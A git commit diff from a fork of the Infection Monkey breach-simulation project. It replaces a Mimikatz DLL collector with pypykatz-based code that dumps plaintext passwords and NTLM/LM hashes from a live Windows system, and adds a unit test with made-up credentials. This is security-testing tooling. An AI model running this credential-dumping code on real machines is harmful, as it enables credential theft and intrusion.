forked from p15670423/monkey
Migrated to pypykatz on monkey
This commit is contained in:
parent
33ef1f6261
commit
90b47a4bb6
|
@ -17,3 +17,4 @@ wmi==1.4.9 ; sys_platform == 'win32'
|
|||
pymssql<3.0
|
||||
pyftpdlib
|
||||
WinSys-3.x
|
||||
pypykatz
|
||||
|
|
|
@ -1,129 +0,0 @@
|
|||
import binascii
|
||||
import ctypes
|
||||
import logging
|
||||
import socket
|
||||
import zipfile
|
||||
|
||||
import infection_monkey.config
|
||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||
from infection_monkey.telemetry.attack.t1129_telem import T1129Telem
|
||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path, get_binaries_dir_path
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class MimikatzCollector(object):
|
||||
"""
|
||||
Password collection module for Windows using Mimikatz.
|
||||
"""
|
||||
|
||||
# Name of Mimikatz DLL. Must be name of file in Mimikatz zip.
|
||||
MIMIKATZ_DLL_NAME = 'tmpzipfile123456.dll'
|
||||
|
||||
# Name of ZIP containing Mimikatz. Must be identical to one on monkey.spec
|
||||
MIMIKATZ_ZIP_NAME = 'tmpzipfile123456.zip'
|
||||
|
||||
# Password to Mimikatz zip file
|
||||
MIMIKATZ_ZIP_PASSWORD = b'VTQpsJPXgZuXhX6x3V84G'
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
self._isInit = False
|
||||
self._dll = None
|
||||
self._collect = None
|
||||
self._get = None
|
||||
self.init_mimikatz()
|
||||
|
||||
def init_mimikatz(self):
|
||||
try:
|
||||
with zipfile.ZipFile(get_binary_file_path(MimikatzCollector.MIMIKATZ_ZIP_NAME), 'r') as mimikatz_zip:
|
||||
mimikatz_zip.extract(self.MIMIKATZ_DLL_NAME, path=get_binaries_dir_path(),
|
||||
pwd=self.MIMIKATZ_ZIP_PASSWORD)
|
||||
|
||||
self._dll = ctypes.WinDLL(get_binary_file_path(self.MIMIKATZ_DLL_NAME))
|
||||
collect_proto = ctypes.WINFUNCTYPE(ctypes.c_int)
|
||||
get_proto = ctypes.WINFUNCTYPE(MimikatzCollector.LogonData)
|
||||
get_text_output_proto = ctypes.WINFUNCTYPE(ctypes.c_wchar_p)
|
||||
self._collect = collect_proto(("collect", self._dll))
|
||||
self._get = get_proto(("get", self._dll))
|
||||
self._get_text_output_proto = get_text_output_proto(("getTextOutput", self._dll))
|
||||
self._isInit = True
|
||||
status = ScanStatus.USED
|
||||
except Exception:
|
||||
LOG.exception("Error initializing mimikatz collector")
|
||||
status = ScanStatus.SCANNED
|
||||
T1106Telem(status, UsageEnum.MIMIKATZ_WINAPI).send()
|
||||
T1129Telem(status, UsageEnum.MIMIKATZ).send()
|
||||
|
||||
def get_logon_info(self):
|
||||
"""
|
||||
Gets the logon info from mimikatz.
|
||||
Returns a dictionary of users with their known credentials.
|
||||
"""
|
||||
LOG.info('Getting mimikatz logon information')
|
||||
if not self._isInit:
|
||||
return {}
|
||||
LOG.debug("Running mimikatz collector")
|
||||
|
||||
try:
|
||||
entry_count = self._collect()
|
||||
|
||||
logon_data_dictionary = {}
|
||||
hostname = socket.gethostname()
|
||||
|
||||
self.mimikatz_text = self._get_text_output_proto()
|
||||
|
||||
for i in range(entry_count):
|
||||
entry = self._get()
|
||||
username = entry.username
|
||||
|
||||
password = entry.password
|
||||
lm_hash = binascii.hexlify(bytearray(entry.lm_hash)).decode()
|
||||
ntlm_hash = binascii.hexlify(bytearray(entry.ntlm_hash)).decode()
|
||||
|
||||
if 0 == len(password):
|
||||
has_password = False
|
||||
elif (username[-1] == '$') and (hostname.lower() == username[0:-1].lower()):
|
||||
# Don't save the password of the host domain user (HOSTNAME$)
|
||||
has_password = False
|
||||
else:
|
||||
has_password = True
|
||||
|
||||
has_lm = ("00000000000000000000000000000000" != lm_hash)
|
||||
has_ntlm = ("00000000000000000000000000000000" != ntlm_hash)
|
||||
|
||||
if username not in logon_data_dictionary:
|
||||
logon_data_dictionary[username] = {}
|
||||
if has_password:
|
||||
logon_data_dictionary[username]["password"] = password
|
||||
if has_lm:
|
||||
logon_data_dictionary[username]["lm_hash"] = lm_hash
|
||||
if has_ntlm:
|
||||
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
||||
|
||||
return logon_data_dictionary
|
||||
except Exception:
|
||||
LOG.exception("Error getting logon info")
|
||||
return {}
|
||||
|
||||
def get_mimikatz_text(self):
|
||||
return self.mimikatz_text
|
||||
|
||||
class LogonData(ctypes.Structure):
|
||||
"""
|
||||
Logon data structure returned from mimikatz.
|
||||
"""
|
||||
|
||||
WINDOWS_MAX_USERNAME_PASS_LENGTH = 257
|
||||
LM_NTLM_HASH_LENGTH = 16
|
||||
|
||||
_fields_ = \
|
||||
[
|
||||
("username", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("password", ctypes.c_wchar * WINDOWS_MAX_USERNAME_PASS_LENGTH),
|
||||
("lm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH),
|
||||
("ntlm_hash", ctypes.c_byte * LM_NTLM_HASH_LENGTH)
|
||||
]
|
|
@ -0,0 +1,72 @@
|
|||
import binascii
|
||||
from typing import Dict, List
|
||||
|
||||
from pypykatz.pypykatz import pypykatz
|
||||
|
||||
from infection_monkey.system_info.windows_cred_collector.windows_credential import WindowsCredential
|
||||
|
||||
CREDENTIAL_TYPES = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'dpapi_creds',
|
||||
'kerberos_creds', 'credman_creds', 'tspkg_creds']
|
||||
|
||||
|
||||
def get_windows_creds():
|
||||
pypy_handle = pypykatz.go_live()
|
||||
logon_data = pypy_handle.to_dict()
|
||||
windows_creds = _parse_pypykatz_results(logon_data)
|
||||
return windows_creds
|
||||
|
||||
|
||||
def _parse_pypykatz_results(pypykatz_data: Dict) -> List:
|
||||
windows_creds = []
|
||||
for session in pypykatz_data['logon_sessions'].values():
|
||||
windows_creds.extend(_get_creds_from_pypykatz_session(session))
|
||||
return windows_creds
|
||||
|
||||
|
||||
def _get_creds_from_pypykatz_session(pypykatz_session: Dict):
|
||||
windows_creds = []
|
||||
for cred_type_key in CREDENTIAL_TYPES:
|
||||
pypykatz_creds = pypykatz_session[cred_type_key]
|
||||
windows_creds.extend(_get_creds_from_pypykatz_creds(pypykatz_creds))
|
||||
return windows_creds
|
||||
|
||||
|
||||
def _get_creds_from_pypykatz_creds(pypykatz_creds):
|
||||
creds = _filter_empty_creds(pypykatz_creds)
|
||||
return [_get_windows_cred(cred) for cred in creds]
|
||||
|
||||
|
||||
def _filter_empty_creds(pypykatz_creds: List[Dict]):
|
||||
return [cred for cred in pypykatz_creds if not _is_cred_empty(cred)]
|
||||
|
||||
|
||||
def _is_cred_empty(pypykatz_cred: Dict):
|
||||
password_empty = 'password' not in pypykatz_cred or not pypykatz_cred['password']
|
||||
ntlm_hash_empty = 'NThash' not in pypykatz_cred or not pypykatz_cred['NThash']
|
||||
lm_hash_empty = 'LMhash' not in pypykatz_cred or not pypykatz_cred['LMhash']
|
||||
return password_empty and ntlm_hash_empty and lm_hash_empty
|
||||
|
||||
|
||||
def _get_windows_cred(pypykatz_cred: Dict):
|
||||
password = ''
|
||||
ntlm_hash = ''
|
||||
lm_hash = ''
|
||||
username = pypykatz_cred['username']
|
||||
if 'password' in pypykatz_cred:
|
||||
password = pypykatz_cred['password']
|
||||
if 'NThash' in pypykatz_cred:
|
||||
ntlm_hash = _hash_to_string(pypykatz_cred['NThash'])
|
||||
if 'LMhash' in pypykatz_cred:
|
||||
lm_hash = _hash_to_string(pypykatz_cred['LMhash'])
|
||||
return WindowsCredential(username=username,
|
||||
password=password,
|
||||
ntlm_hash=ntlm_hash,
|
||||
lm_hash=lm_hash)
|
||||
|
||||
|
||||
def _hash_to_string(hash):
|
||||
if type(hash) == str:
|
||||
return hash
|
||||
if type(hash) == bytes:
|
||||
return binascii.hexlify(bytearray(hash)).decode()
|
||||
raise Exception(f"Can't convert hash to string, unsupported hash type {type(hash)}")
|
|
@ -0,0 +1,84 @@
|
|||
from unittest import TestCase
|
||||
|
||||
from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import _get_creds_from_pypykatz_session
|
||||
|
||||
|
||||
class TestPypykatzHandler(TestCase):
|
||||
# Made up credentials, but structure of dict should be roughly the same
|
||||
PYPYKATZ_SESSION = {
|
||||
'authentication_id': 555555, 'session_id': 3, 'username': 'Monkey',
|
||||
'domainname': 'ReAlDoMaIn', 'logon_server': 'ReAlDoMaIn',
|
||||
'logon_time': '2020-06-02T04:53:45.256562+00:00',
|
||||
'sid': 'S-1-6-25-260123139-3611579848-5589493929-3021', 'luid': 123086,
|
||||
'msv_creds': [
|
||||
{'username': 'monkey', 'domainname': 'ReAlDoMaIn',
|
||||
'NThash': b'1\xb7<Y\xd7\xe0\xc0\x89\xc01\xd6\xcf\xe0\xd1j\xe9', 'LMHash': None,
|
||||
'SHAHash': b'\x18\x90\xaf\xd8\x07\t\xda9\xa3\xee^kK\r2U\xbf\xef\x95`'}],
|
||||
'wdigest_creds': [
|
||||
{'credtype': 'wdigest', 'username': 'monkey', 'domainname': 'ReAlDoMaIn',
|
||||
'password': 'canyoufindme', 'luid': 123086}],
|
||||
'ssp_creds': [{'credtype': 'wdigest', 'username': 'monkey123', 'domainname': 'ReAlDoMaIn',
|
||||
'password': 'canyoufindme123', 'luid': 123086}],
|
||||
'livessp_creds': [{'credtype': 'wdigest', 'username': 'monk3y', 'domainname': 'ReAlDoMaIn',
|
||||
'password': 'canyoufindm3', 'luid': 123086}],
|
||||
'dpapi_creds': [
|
||||
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f',
|
||||
'masterkey': '6e81d0cfd5e9ec083cfbdaf4d25b9cc9cc6b72947f5e80920034d1275d8613532025975ef051e891c30e6e9af6db54500fedfed1c968389bf6262c77fbaa68c9',
|
||||
'sha1_masterkey': 'bbdabc3cd2f6bcbe3e2cee6ce4ce4cebcef4c6da', 'luid': 123086},
|
||||
{'credtype': 'dpapi', 'key_guid': '9123-123ae123de4-121239-3123-421f'}],
|
||||
'kerberos_creds': [
|
||||
{'credtype': 'kerberos', 'username': 'monkey_kerb', 'password': None, 'domainname': 'ReAlDoMaIn',
|
||||
'luid': 123086, 'tickets': []}],
|
||||
'credman_creds': [
|
||||
{'credtype': 'credman', 'username': 'monkey', 'domainname': 'monkey.ad.monkey.com',
|
||||
'password': 'canyoufindme2', 'luid': 123086},
|
||||
{'credtype': 'credman', 'username': 'monkey@monkey.com', 'domainname': 'moneky.monkey.com',
|
||||
'password': 'canyoufindme1', 'luid': 123086},
|
||||
{'credtype': 'credman', 'username': 'test', 'domainname': 'test.test.ts', 'password': 'canyoufindit',
|
||||
'luid': 123086}],
|
||||
'tspkg_creds': []}
|
||||
|
||||
def test__get_creds_from_pypykatz_session(self):
|
||||
results = _get_creds_from_pypykatz_session(TestPypykatzHandler.PYPYKATZ_SESSION)
|
||||
|
||||
test_dicts = [{'username': 'monkey',
|
||||
'ntlm_hash': '31b73c59d7e0c089c031d6cfe0d16ae9',
|
||||
'password': '',
|
||||
'lm_hash': ''},
|
||||
{'username': 'monkey',
|
||||
'ntlm_hash': '',
|
||||
'password': 'canyoufindme',
|
||||
'lm_hash': ''},
|
||||
{'username': 'monkey123',
|
||||
'ntlm_hash': '',
|
||||
'password': 'canyoufindme123',
|
||||
'lm_hash': ''},
|
||||
{'username': 'monk3y',
|
||||
'ntlm_hash': '',
|
||||
'password': 'canyoufindm3',
|
||||
'lm_hash': ''},
|
||||
{'username': 'monkey',
|
||||
'ntlm_hash': '',
|
||||
'password': 'canyoufindme2',
|
||||
'lm_hash': ''},
|
||||
{'username': 'monkey@monkey.com',
|
||||
'ntlm_hash': '',
|
||||
'password': 'canyoufindme1',
|
||||
'lm_hash': ''},
|
||||
{'username': 'test',
|
||||
'ntlm_hash': '',
|
||||
'password': 'canyoufindit',
|
||||
'lm_hash': ''},
|
||||
]
|
||||
results = [result.to_dict() for result in results]
|
||||
for test_dict in test_dicts:
|
||||
self.assertTrue(test_dict in results)
|
|
@ -0,0 +1,22 @@
|
|||
import logging
|
||||
from typing import List
|
||||
|
||||
from infection_monkey.system_info.windows_cred_collector.pypykatz_handler import get_windows_creds
|
||||
from infection_monkey.system_info.windows_cred_collector.windows_credential import WindowsCredential
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class WindowsCredentialCollector(object):
|
||||
|
||||
@staticmethod
|
||||
def get_creds():
|
||||
creds = get_windows_creds()
|
||||
return WindowsCredentialCollector.cred_list_to_cred_dict(creds)
|
||||
|
||||
@staticmethod
|
||||
def cred_list_to_cred_dict(creds: List[WindowsCredential]):
|
||||
cred_dict = {}
|
||||
for cred in creds:
|
||||
cred_dict.update({cred.username: cred.to_dict()})
|
||||
return cred_dict
|
|
@ -0,0 +1,15 @@
|
|||
from typing import Dict
|
||||
|
||||
|
||||
class WindowsCredential:
|
||||
def __init__(self, username: str, password="", ntlm_hash="", lm_hash=""):
|
||||
self.username = username
|
||||
self.password = password
|
||||
self.ntlm_hash = ntlm_hash
|
||||
self.lm_hash = lm_hash
|
||||
|
||||
def to_dict(self) -> Dict:
|
||||
return {'username': self.username,
|
||||
'password': self.password,
|
||||
'ntlm_hash': self.ntlm_hash,
|
||||
'lm_hash': self.lm_hash}
|
|
@ -2,12 +2,12 @@ import os
|
|||
import logging
|
||||
import sys
|
||||
|
||||
from infection_monkey.system_info.windows_cred_collector.windows_cred_collector import WindowsCredentialCollector
|
||||
|
||||
sys.coinit_flags = 0 # needed for proper destruction of the wmi python module
|
||||
# noinspection PyPep8
|
||||
import infection_monkey.config
|
||||
# noinspection PyPep8
|
||||
from infection_monkey.system_info.mimikatz_collector import MimikatzCollector
|
||||
# noinspection PyPep8
|
||||
from infection_monkey.system_info import InfoCollector
|
||||
# noinspection PyPep8
|
||||
from infection_monkey.system_info.wmi_consts import WMI_CLASSES
|
||||
|
@ -61,12 +61,15 @@ class WindowsInfoCollector(InfoCollector):
|
|||
LOG.debug('finished get_wmi_info')
|
||||
|
||||
def get_mimikatz_info(self):
|
||||
mimikatz_collector = MimikatzCollector()
|
||||
mimikatz_info = mimikatz_collector.get_logon_info()
|
||||
if mimikatz_info:
|
||||
LOG.info("Gathering mimikatz info")
|
||||
try:
|
||||
credentials = WindowsCredentialCollector.get_creds()
|
||||
if credentials:
|
||||
if "credentials" in self.info:
|
||||
self.info["credentials"].update(mimikatz_info)
|
||||
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
|
||||
self.info["credentials"].update(credentials)
|
||||
self.info["mimikatz"] = credentials
|
||||
LOG.info('Mimikatz info gathered successfully')
|
||||
else:
|
||||
LOG.info('No mimikatz info was gathered')
|
||||
except Exception as e:
|
||||
LOG.info(f"Pypykatz failed: {e}")
|
||||
|
|
Loading…
Reference in New Issue